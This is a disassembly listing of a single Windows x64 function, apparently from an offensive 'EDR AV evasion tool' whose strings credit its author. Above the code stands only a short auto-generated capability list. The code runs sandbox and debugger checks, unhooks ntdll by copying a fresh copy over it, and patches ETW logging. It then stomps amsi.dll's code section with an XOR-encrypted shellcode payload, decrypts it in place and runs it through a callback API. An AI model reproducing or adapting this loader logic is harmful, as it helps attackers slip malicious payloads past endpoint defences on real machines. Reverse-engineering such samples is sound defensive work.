Function at 0x140002980
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get system information on windows

Disassembly:
push rbp
push rbx
push rsi
push rdi
lea rbp, [rsp - 0x68]
sub rsp, 0x168
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x50], rax
mov ecx, 0xfffffff5
mov rdi, rdx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor esi, esi
lea rdx, [rsp + 0x50]
mov rcx, rax
mov dword [rsp + 0x50], esi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetConsoleMode]
mov edx, dword [rsp + 0x50]
mov rcx, rbx
or edx, 4
mov dword [rsp + 0x50], edx
call qword [sym.imp.KERNEL32.dll_SetConsoleMode]
lea rcx, [0x14000542c]
call fcn.140001010
lea rcx, str.e_0_31m_t_t_tdP_____dP_dP_dP________dP_________88888888b__888888ba_____n
call fcn.140001010
lea rcx, str.e_0_31m_t_t_t88____d8_88_88________88_________88_________88_____8b____n
call fcn.140001010
lea rcx, str.e_0_31m_t_t_t88aaa8P__88_88________88_________a88aaaa____a88aaaa8P___n
call fcn.140001010
lea rcx, str.e_0_31m_t_t_t88____8b._88_88________88_________88_________88____8b.____n
call fcn.140001010
lea rcx, str.e_0_31m_t_t_t88_____88_88_88________88_________88_________88_____88____n
call fcn.140001010
lea rcx, str.e_0_31m_t_t_tdP_____dP_dP_88888888P_88888888P__88888888P__dP_____dP____n
call fcn.140001010
lea rcx, str.e_0_32m_t_t_t_____Author___Hossam_Ehab___EDR_AV_evasion_tool_n
call fcn.140001010
lea rcx, [0x14000542c]
call fcn.140001010
mov rcx, qword [rdi]
lea rdx, str.killer.exe
mov dword [rbp - 0x80], esi
mov dword [rbp - 0x7c], esi
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
jne 0x140002a73
lea rcx, str._te_0_31m_____e_0me_1mSandbox_detected___Filename_changed_:___n_ne_0m
call fcn.140001010
lea eax, [rsi - 2]
jmp 0x14000392c
mov qword [rsp + 0x190], r12
mov ecx, 0x9300000
mov qword [rsp + 0x1a0], r13
mov qword [rsp + 0x1a8], r14
mov qword [rsp + 0x160], r15
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
je 0x140003907
xor edx, edx
mov r8d, 0x9300000
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
movzx ecx, byte [0x140008110]
test cl, cl
je 0x140002ace
xor cl, 0x93
mov byte [0x140008110], cl
movzx eax, byte [0x140008111]
test al, al
je 0x140002ae1
xor al, 0x93
mov byte [0x140008111], al
movzx eax, byte [0x140008112]
test al, al
je 0x140002af4
xor al, 0x93
mov byte [0x140008112], al
movzx eax, byte [0x140008113]
test al, al
je 0x140002b07
xor al, 0x93
mov byte [0x140008113], al
movzx eax, byte [0x140008114]
test al, al
je 0x140002b1a
xor al, 0x93
mov byte [0x140008114], al
movzx eax, byte [0x140008115]
test al, al
je 0x140002b2d
xor al, 0x93
mov byte [0x140008115], al
movzx eax, byte [0x140008116]
test al, al
je 0x140002b40
xor al, 0x93
mov byte [0x140008116], al
movzx eax, byte [0x140008117]
test al, al
je 0x140002b53
xor al, 0x93
mov byte [0x140008117], al
movzx eax, byte [0x140008118]
test al, al
je 0x140002b66
xor al, 0x93
mov byte [0x140008118], al
movzx eax, byte [0x140008119]
test al, al
je 0x140002b79
xor al, 0x93
mov byte [0x140008119], al
movzx eax, byte [0x14000811a]
test al, al
je 0x140002b8c
xor al, 0x93
mov byte [0x14000811a], al
movzx eax, byte [0x14000811b]
test al, al
je 0x140002ba0
xor al, 0x93
mov byte [0x14000811b], al
nop
movzx eax, byte [0x140008178]
test al, al
je 0x140002bb3
xor al, 0x93
mov byte [0x140008178], al
movzx eax, byte [0x140008179]
test al, al
je 0x140002bc6
xor al, 0x93
mov byte [0x140008179], al
movzx eax, byte [0x14000817a]
test al, al
je 0x140002bd9
xor al, 0x93
mov byte [0x14000817a], al
movzx eax, byte [0x14000817b]
test al, al
je 0x140002bec
xor al, 0x93
mov byte [0x14000817b], al
movzx eax, byte [0x14000817c]
test al, al
je 0x140002bff
xor al, 0x93
mov byte [0x14000817c], al
movzx eax, byte [0x14000817d]
test al, al
je 0x140002c12
xor al, 0x93
mov byte [0x14000817d], al
movzx eax, byte [0x14000817e]
test al, al
je 0x140002c25
xor al, 0x93
mov byte [0x14000817e], al
movzx eax, byte [0x14000817f]
test al, al
je 0x140002c38
xor al, 0x93
mov byte [0x14000817f], al
lea rcx, [0x140008178]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, 0xffffffffffffffff
mov r12, rax
lea rax, [0x140008110]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], sil
jne 0x140002c60
inc r8
lea rcx, [rbp + 0x28]
mov rdx, rax
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs]
lea rcx, [rbp + 0x28]
call fcn.1400012e0
mov rcx, rdi
mov r15, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
movsxd r14, dword [r12 + 0x3c]
add r14, r12
nop word [rax + rax]
movsxd rcx, esi
inc esi
lea rdx, [rcx + rcx*4]
movzx ecx, word [r14 + 0x14]
add rcx, r14
lea rdi, [rcx + rdx*8]
lea rdx, [rdi + 0x18]
lea rcx, str.e_0_34m____e_0me_1mTry_to_find_.text_section__sec_name__s_ne_0m
call fcn.140001010
mov r8d, 5
lea rdx, str..text
lea rcx, [rdi + 0x18]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
jne 0x140002ca0
mov r14d, dword [rdi + 0x24]
add r14, r12
mov qword [rsp + 0x48], r14
call fcn.1400016b0
movzx ecx, byte [0x1400081d8]
test cl, cl
je 0x140002d05
xor cl, 0x93
mov byte [0x1400081d8], cl
movzx eax, byte [0x1400081d9]
test al, al
je 0x140002d18
xor al, 0x93
mov byte [0x1400081d9], al
movzx eax, byte [0x1400081da]
test al, al
je 0x140002d2b
xor al, 0x93
mov byte [0x1400081da], al
movzx eax, byte [0x1400081db]
test al, al
je 0x140002d3e
xor al, 0x93
mov byte [0x1400081db], al
movzx eax, byte [0x1400081dc]
test al, al
je 0x140002d51
xor al, 0x93
mov byte [0x1400081dc], al
movzx eax, byte [0x1400081dd]
test al, al
je 0x140002d64
xor al, 0x93
mov byte [0x1400081dd], al
movzx eax, byte [0x1400081de]
test al, al
je 0x140002d77
xor al, 0x93
mov byte [0x1400081de], al
movzx eax, byte [0x1400081df]
test al, al
je 0x140002d8a
xor al, 0x93
mov byte [0x1400081df], al
movzx eax, byte [0x1400081e0]
test al, al
je 0x140002d9d
xor al, 0x93
mov byte [0x1400081e0], al
lea rcx, str.e_0_34m____e_0me_1mCopy_ntdll_to_a_fresh_memory_allocation_and_overwrite_calls_adresses__Detecting_ntdll_hooking_:__n_ne_0m
call fcn.140001010
lea rdx, [0x1400081d8]
cmp byte [rdx + rbx + 1], 0
lea rbx, [rbx + 1]
jne 0x140002db0
lea r8, [rbx + 1]
lea rcx, [rbp]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs]
lea rcx, [rbp]
call fcn.1400012e0
mov rcx, rax
lea rdx, [0x140008160]
call fcn.140001230
mov rcx, rax
call fcn.140001430
xor r12d, r12d
lea rdx, str._te_0_32m___e_0me_1m_NtAllocateVirtualMemory_Not_Hooked_ne_0m
test eax, eax
lea rcx, str._te_0_31m_____e_0me_1m_NtAllocateVirtualMemory_is_Hooked_n_ne_0m
mov ebx, r12d
setne bl
test eax, eax
cmove rcx, rdx
call fcn.140001010
lea rcx, [rbp]
call fcn.1400012e0
mov rcx, rax
lea rdx, [0x140008138]
call fcn.140001230
mov rcx, rax
call fcn.140001430
test eax, eax
je 0x140002e33
inc ebx
test eax, eax
lea rdx, str._te_0_32m___e_0me_1m_NtProtectVirtualMemory_Not_Hooked_ne_0m
lea rcx, str._te_0_31m_____e_0me_1m_NtProtectVirtualMemory_is_Hooked_n_ne_0m
cmove rcx, rdx
call fcn.140001010
lea rcx, [rbp]
call fcn.1400012e0
mov rcx, rax
lea rdx, [0x140008120]
call fcn.140001230
mov rcx, rax
call fcn.140001430
test eax, eax
lea rdx, str._te_0_32m___e_0me_1m_NtCreateThreadEx_Not_Hooked_ne_0m
lea rcx, str._te_0_31m_____e_0me_1m_NtCreateThreadEx_is_Hooked_n_ne_0m
lea edi, [rbx + 1]
cmove rcx, rdx
cmove edi, ebx
call fcn.140001010
lea rcx, [rbp]
call fcn.1400012e0
mov rcx, rax
lea rdx, [0x1400080b0]
call fcn.140001230
mov rcx, rax
call fcn.140001430
test eax, eax
je 0x140002eb1
inc edi
test eax, eax
lea rdx, str._te_0_32m___e_0me_1m_NtQueryInformationThread_Not_Hooked_n_ne_0m
lea r13, str._te_0_31m_____e_0me_1m_NtQueryInformationThread_Hooked_n_ne_0m
mov rcx, r13
cmove rcx, rdx
call fcn.140001010
call fcn.140002090
test r15, r15
je 0x140002f7a
lea rdx, [0x1400080a0]
mov rcx, r15
call fcn.140001230
lea rdx, [0x1400080d0]
mov qword [0x1400088a0], rax
mov rcx, r15
call fcn.140001230
lea rdx, [0x140008078]
mov qword [0x140008880], rax
mov rcx, r15
mov rbx, rax
call fcn.140001230
lea rdx, [0x1400081a0]
mov qword [0x140008888], rax
mov rcx, r15
call fcn.140001230
lea rdx, [0x1400081c0]
mov qword [0x140008878], rax
mov rcx, r15
call fcn.140001230
lea rdx, [0x140008150]
mov qword [0x140008898], rax
mov rcx, r15
call fcn.140001230
lea rdx, [0x1400080f8]
mov qword [0x140008890], rax
mov rcx, r15
call fcn.140001230
mov qword [0x140008870], rax
jmp 0x140002f81
mov rbx, qword [0x140008880]
mov qword [rsp + 0x30], r12
lea rcx, [0x140008110]
mov dword [rsp + 0x28], 1
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
call rbx
cmp rax, 0xffffffffffffffff
je 0x140002fbc
lea rcx, str._te_0_31m_____e_0me_1mThe_nonexistent_file_is_detected_____trying_to_exit_ne_0m
jmp 0x140003902
cmp qword [0x1400088a0], r12
je 0x1400038fb
cmp qword [0x140008880], r12
je 0x1400038fb
cmp qword [0x140008888], r12
je 0x1400038fb
cmp qword [0x140008878], r12
je 0x1400038fb
cmp qword [0x140008870], r12
je 0x1400038fb
cmp qword [0x140008898], r12
je 0x1400038fb
cmp qword [0x140008890], r12
je 0x1400038fb
call fcn.140001e80
test eax, eax
je 0x140003036
lea rcx, str._te_0_31m_____e_0me_1mNUMA_memory_allocate_failed_:___n_ne_0m
call fcn.140001010
mov eax, 0xfffffffe
jmp 0x14000390c
lea rcx, [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rbp - 0x50], 2
jb 0x1400038e8
lea rcx, [rbp - 0x40]
mov dword [rbp - 0x40], 0x40
call qword [0x140008898]
mov rax, qword [rbp - 0x38]
shr rax, 0x1e
cmp eax, 2
jb 0x1400038e8
lea rcx, str.e_0_32m____e_0me_1mSandbox_rounds_finished_no_sandbox_detected____ne_0m
call fcn.140001010
call qword [0x140008888]
mov rcx, rax
lea rdx, [rbp - 0x7c]
call qword [0x140008878]
test eax, eax
je 0x140003907
cmp dword [rbp - 0x7c], r12d
jne 0x140003907
lea rcx, str.e_0_32m____e_0me_1mDebugger_is_not_attach_ne_0m
call fcn.140001010
test edi, edi
je 0x14000332d
movdqa xmm0, xmmword [str.C:WindowsSyste_]
movdqu xmmword [rbp - 0x70], xmm0
mov dword [rbp - 0x60], 0x5c32336d
mov dword [rbp - 0x5c], 0x6c64746e
mov dword [rbp - 0x58], 0x6c642e6c
mov word [rbp - 0x54], 0x6c
mov dword [rsp + 0x40], 0x7865742e
mov word [rsp + 0x44], 0x74
call qword [0x140008888]
xorps xmm0, xmm0
lea rcx, [rbp]
mov rbx, rax
xor eax, eax
mov qword [rsp + 0x70], rax
movups xmmword [rsp + 0x60], xmm0
call fcn.1400012e0
mov r9d, 0x18
lea r8, [rsp + 0x60]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
mov r15, qword [rsp + 0x60]
lea rcx, [rbp - 0x70]
xor r9d, r9d
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [0x140008880]
mov qword [rsp + 0x28], r12
xor r9d, r9d
mov rcx, rax
mov dword [rsp + 0x20], r12d
xor edx, edx
mov r8d, 0x1000002
call qword [0x140008870]
xor r9d, r9d
mov qword [rsp + 0x20], r12
xor r8d, r8d
mov rcx, rax
lea edx, [r9 + 4]
call qword [0x140008890]
movsxd rsi, dword [r15 + 0x3c]
mov r12, rax
xor eax, eax
add rsi, r15
movzx edi, ax
cmp ax, word [rsi + 6]
jae 0x140003239
xor r14d, r14d
nop
movzx ecx, word [rsi + 0x14]
lea r8, [rsp + 0x40]
movzx eax, di
add rcx, rsi
lea rbx, [rax*4 + 3]
add rbx, rax
lea rbx, [rcx + rbx*8]
mov rax, rbx
sub r8, rbx
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1400031d7
inc rax
test ecx, ecx
jne 0x1400031c4
test edx, edx
jne 0x140003227
mov ecx, dword [rbx + 0xc]
lea r9, [rsp + 0x50]
mov edx, dword [rbx + 8]
add rcx, r15
mov r8d, 0x40
mov dword [rsp + 0x50], r14d
call qword [0x1400088a0]
mov eax, dword [rbx + 0xc]
mov r8d, dword [rbx + 8]
lea rdx, [rax + r12]
lea rcx, [rax + r15]
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [rbx + 0xc]
lea r9, [rsp + 0x50]
mov edx, dword [rbx + 8]
add rcx, r15
mov r8d, dword [rsp + 0x50]
call qword [0x1400088a0]
inc di
cmp di, word [rsi + 6]
jb 0x1400031a0
mov r14, qword [rsp + 0x48]
lea rcx, str._n___Detecting_hooks_in_new_ntdll_module_n
call fcn.140001010
lea rcx, [rbp]
call fcn.1400012e0
mov rcx, rax
lea rdx, [0x140008160]
call fcn.140001230
mov rcx, rax
call fcn.140001430
test eax, eax
lea rdx, str._te_0_32m___e_0me_1m_NtAllocateVirtualMemory_Not_Hooked_n_ne_0m
lea rcx, str._te_0_31m_____e_0me_1m_NtAllocateVirtualMemory_Hooked_n_ne_0m
cmove rcx, rdx
call fcn.140001010
lea rcx, [rbp]
call fcn.1400012e0
mov rcx, rax
lea rdx, [0x140008138]
call fcn.140001230
mov rcx, rax
call fcn.140001430
test eax, eax
lea r8, str._te_0_32m___e_0me_1m_NtProtectVirtualMemory_Not_Hooked_n_ne_0m
lea rcx, str._te_0_31m_____e_0me_1m_NtProtectVirtualMemory_Hooked_n_ne_0m
cmove rcx, r8
call fcn.140001010
lea rcx, [rbp]
call fcn.1400012e0
mov rcx, rax
lea rdx, [0x140008120]
call fcn.140001230
mov rcx, rax
call fcn.140001430
test eax, eax
lea rcx, str._te_0_32m___e_0me_1m_NtCreateThreadEx_Not_Hooked_n_ne_0m
lea rax, str._te_0_31m_____e_0me_1m_NtCreateThreadEx_is_Hooked_n_ne_0m
cmove rax, rcx
mov rcx, rax
call fcn.140001010
lea rcx, [rbp]
call fcn.1400012e0
mov rcx, rax
lea rdx, [0x1400080b0]
call fcn.140001230
mov rcx, rax
call fcn.140001430
test eax, eax
lea rcx, str._te_0_32m___e_0me_1mNtQueryInformationThread_Not_Hooked_n_ne_0m
cmove r13, rcx
mov rcx, r13
call fcn.140001010
xor r12d, r12d
jmp 0x140003339
lea rcx, str.e_0_34m____e_0me_1mNo_hooked_modules_to_unhook_it__ne_0m
call fcn.140001010
lea rcx, [rbp]
call fcn.1400012e0
lea rdx, [0x140008188]
mov rcx, rax
mov rbx, rax
call fcn.140001230
lea rdx, [0x140008138]
mov rcx, rbx
mov rsi, rax
call fcn.140001230
lea rcx, str.e_0_32m____e_0me_1mPatching_ETW_Event_Tracing_for_Windows_writer_ne_0m
mov rdi, rax
call fcn.140001010
movzx ecx, byte [0x140008090]
test cl, cl
je 0x140003389
xor cl, 0x93
mov byte [0x140008090], cl
movzx ecx, byte [0x140008091]
test cl, cl
je 0x14000339d
xor cl, 0x93
mov byte [0x140008091], cl
movzx eax, byte [0x140008092]
test al, al
je 0x1400033b0
xor al, 0x93
mov byte [0x140008092], al
movzx eax, byte [0x140008093]
test al, al
je 0x1400033c3
xor al, 0x93
mov byte [0x140008093], al
movzx eax, byte [0x140008094]
test al, al
je 0x1400033d6
xor al, 0x93
mov byte [0x140008094], al
movzx eax, byte [0x140008095]
test al, al
je 0x1400033e9
xor al, 0x93
mov byte [0x140008095], al
movzx eax, byte [0x140008096]
test al, al
je 0x1400033fc
xor al, 0x93
mov byte [0x140008096], al
movzx eax, byte [0x140008097]
test al, al
je 0x14000340f
xor al, 0x93
mov byte [0x140008097], al
movzx eax, byte [0x140008098]
test al, al
je 0x140003422
xor al, 0x93
mov byte [0x140008098], al
movzx eax, byte [0x140008099]
test al, al
je 0x140003435
xor al, 0x93
mov byte [0x140008099], al
movzx eax, byte [0x14000809a]
test al, al
je 0x140003448
xor al, 0x93
mov byte [0x14000809a], al
movzx eax, byte [0x14000809b]
test al, al
je 0x14000345b
xor al, 0x93
mov byte [0x14000809b], al
movzx eax, byte [0x14000809c]
test al, al
je 0x14000346e
xor al, 0x93
mov byte [0x14000809c], al
lea rcx, [rbp]
call fcn.1400012e0
mov rcx, rax
lea rdx, [0x140008090]
call fcn.140001230
mov rbx, rax
mov qword [rsp + 0x58], rax
mov byte [rsp + 0x78], 0xc3
mov dword [rsp + 0x7c], r12d
mov qword [rbp - 0x78], 0x1000
call qword [0x140008888]
mov r9d, 4
lea r8, [rbp - 0x78]
mov rcx, rax
lea rdx, [rsp + 0x58]
lea rax, [rsp + 0x7c]
mov qword [rsp + 0x20], rax
call rdi
call qword [0x140008888]
mov r9d, 1
mov qword [rsp + 0x20], r12
mov rcx, rax
lea r8, [rsp + 0x78]
mov rdx, rbx
call rsi
call qword [0x140008888]
mov r9d, dword [rsp + 0x7c]
lea r8, [rbp - 0x78]
mov rcx, rax
lea rdx, [rsp + 0x58]
lea rax, [rsp + 0x7c]
mov qword [rsp + 0x20], rax
call rdi
lea rcx, str.e_0_34m____e_0me_1mETW_patched___ne_0m
call fcn.140001010
mov rdx, r14
lea rcx, str.e_0_34m____e_0me_1mamsi.dll_.text_address__0x_p_ne_0m
call fcn.140001010
lea rcx, str.e_0_32m____e_0me_1mconverting_protection_to_RW_in_ntdll_ne_0m
call fcn.140001010
lea r9, [rbp - 0x80]
mov edx, 0x1000
mov r8d, 4
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1400038a7
lea rcx, str.e_0_32m____e_0me_1mmoving_the_payload_to_the_hollowed_memory_without_using_any_APIs_ne_0m
call fcn.140001010
lea rax, [0x140006166]
mov r8d, r12d
lea r9, [r14 + 0x116]
lea r10, [0x140006050]
cmp r14, rax
ja 0x14000357e
cmp r9, r10
jae 0x14000360c
mov rcx, r14
mov rdx, r10
mov eax, 2
nop dword [rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
lea rdx, [rdx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rdx - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rdx - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rdx - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rdx - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rdx - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rdx - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rax, 1
jne 0x140003590
mov eax, dword [rdx + 0x10]
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
mov dword [rcx + 0x10], eax
movzx eax, word [rdx + 0x14]
mov word [rcx + 0x14], ax
movzx eax, byte [rdx + 0x16]
mov byte [rcx + 0x16], al
nop
inc r8d
cmp r8d, 0x117
jb 0x140003600
movsxd rax, r8d
cmp rax, 0x117
jae 0x140003640
lea rcx, [rax + r14]
sub r10, r14
nop
movzx eax, byte [r10 + rcx]
inc r8d
mov byte [rcx], al
lea rcx, [rcx + 1]
cmp r8d, 0x117
jb 0x140003620
nop word [rax + rax]
movzx eax, byte [0x1400080e0]
test al, al
je 0x140003653
xor al, 0x93
mov byte [0x1400080e0], al
movzx eax, byte [0x1400080e1]
test al, al
je 0x140003666
xor al, 0x93
mov byte [0x1400080e1], al
movzx eax, byte [0x1400080e2]
test al, al
je 0x140003679
xor al, 0x93
mov byte [0x1400080e2], al
movzx eax, byte [0x1400080e3]
test al, al
je 0x14000368c
xor al, 0x93
mov byte [0x1400080e3], al
movzx eax, byte [0x1400080e4]
test al, al
je 0x14000369f
xor al, 0x93
mov byte [0x1400080e4], al
movzx eax, byte [0x1400080e5]
test al, al
je 0x1400036b2
xor al, 0x93
mov byte [0x1400080e5], al
movzx eax, byte [0x1400080e6]
test al, al
je 0x1400036c5
xor al, 0x93
mov byte [0x1400080e6], al
movzx eax, byte [0x1400080e7]
test al, al
je 0x1400036d8
xor al, 0x93
mov byte [0x1400080e7], al
movzx eax, byte [0x1400080e8]
test al, al
je 0x1400036eb
xor al, 0x93
mov byte [0x1400080e8], al
movzx eax, byte [0x1400080e9]
test al, al
je 0x1400036fe
xor al, 0x93
mov byte [0x1400080e9], al
movzx eax, byte [0x1400080ea]
test al, al
je 0x140003711
xor al, 0x93
mov byte [0x1400080ea], al
movzx eax, byte [0x1400080eb]
test al, al
je 0x140003724
xor al, 0x93
mov byte [0x1400080eb], al
movzx eax, byte [0x1400080ec]
test al, al
je 0x140003737
xor al, 0x93
mov byte [0x1400080ec], al
movzx eax, byte [0x1400080ed]
test al, al
je 0x14000374a
xor al, 0x93
mov byte [0x1400080ed], al
movzx eax, byte [0x1400080ee]
test al, al
je 0x14000375d
xor al, 0x93
mov byte [0x1400080ee], al
movzx eax, byte [0x1400080ef]
test al, al
je 0x140003770
xor al, 0x93
mov byte [0x1400080ef], al
movzx eax, byte [0x1400080f0]
test al, al
je 0x140003783
xor al, 0x93
mov byte [0x1400080f0], al
movzx eax, byte [0x1400080f1]
test al, al
je 0x140003796
xor al, 0x93
mov byte [0x1400080f1], al
movzx eax, byte [0x1400080f2]
test al, al
je 0x1400037a9
xor al, 0x93
mov byte [0x1400080f2], al
movzx eax, byte [0x1400080f3]
test al, al
je 0x1400037bc
xor al, 0x93
mov byte [0x1400080f3], al
movzx eax, byte [0x1400080f4]
test al, al
je 0x1400037cf
xor al, 0x93
mov byte [0x1400080f4], al
movzx eax, byte [0x1400080f5]
test al, al
je 0x1400037e2
xor al, 0x93
mov byte [0x1400080f5], al
movzx eax, byte [0x1400080f6]
test al, al
je 0x1400037f5
xor al, 0x93
mov byte [0x1400080f6], al
mov rdx, r14
mov r8d, 0x8b
nop
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
movzx ecx, byte [r9]
mov byte [r9], al
lea r9, [r9 - 1]
mov byte [rdx - 1], cl
sub r8, 1
jne 0x140003800
mov ecx, r12d
lea r8, [r14 + 2]
mov r9d, 0x5d
lea r10, [0x1400080e0]
nop
cmp ecx, 0x17
lea r8, [r8 + 3]
cmove ecx, r12d
movzx eax, byte [rcx + r10]
inc ecx
xor byte [r8 - 5], al
cmp ecx, 0x17
cmove ecx, r12d
movzx eax, byte [rcx + r10]
inc ecx
xor byte [r8 - 4], al
cmp ecx, 0x17
cmove ecx, r12d
movzx eax, byte [rcx + r10]
inc ecx
xor byte [r8 - 3], al
sub r9, 1
jne 0x140003830
mov edx, 0x117
lea rcx, str.e_0_32m____e_0me_1mShellcode__key_Decrypted_after_stomping__Shellcode_length:__zd_ne_0m
call fcn.140001010
lea rcx, str.e_0_34m____e_0me_1mRestoring_RX_permission_again_ne_0m
call fcn.140001010
mov r8d, dword [rbp - 0x80]
lea r9, [rbp - 0x80]
mov edx, 0x1000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400038c2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._te_0_31m_____e_0me_1mFailed_to_converting_protection_to_RW___u__n_ne_0m
call fcn.140001010
mov eax, 0xfffffffe
jmp 0x14000390c
lea rcx, str.e_0_32m____e_0me_1mHit_enter_to_run_shellcode_payload_without_creating_a_new_thread_ne_0m
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
mov edx, 2
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_EnumSystemLocalesA]
test eax, eax
jne 0x140003907
jmp 0x14000390c
lea rcx, str._te_0_31m_____e_0me_1mI_got_you_sandbox__its_cant_be_run_here_:__n_ne_0m
call fcn.140001010
mov eax, 0xfffffffe
jmp 0x14000390c
lea rcx, str._te_0_31m_____e_0me_1mFailed_to_load_required_system_functions._ne_0m
call fcn.140001010
mov eax, 1
mov r14, qword [rsp + 0x1a8]
mov r13, qword [rsp + 0x1a0]
mov r12, qword [rsp + 0x190]
mov r15, qword [rsp + 0x160]
mov rcx, qword [rbp + 0x50]
xor rcx, rsp
call fcn.140003960
add rsp, 0x168
pop rdi
pop rsi
pop rbx
pop rbp
ret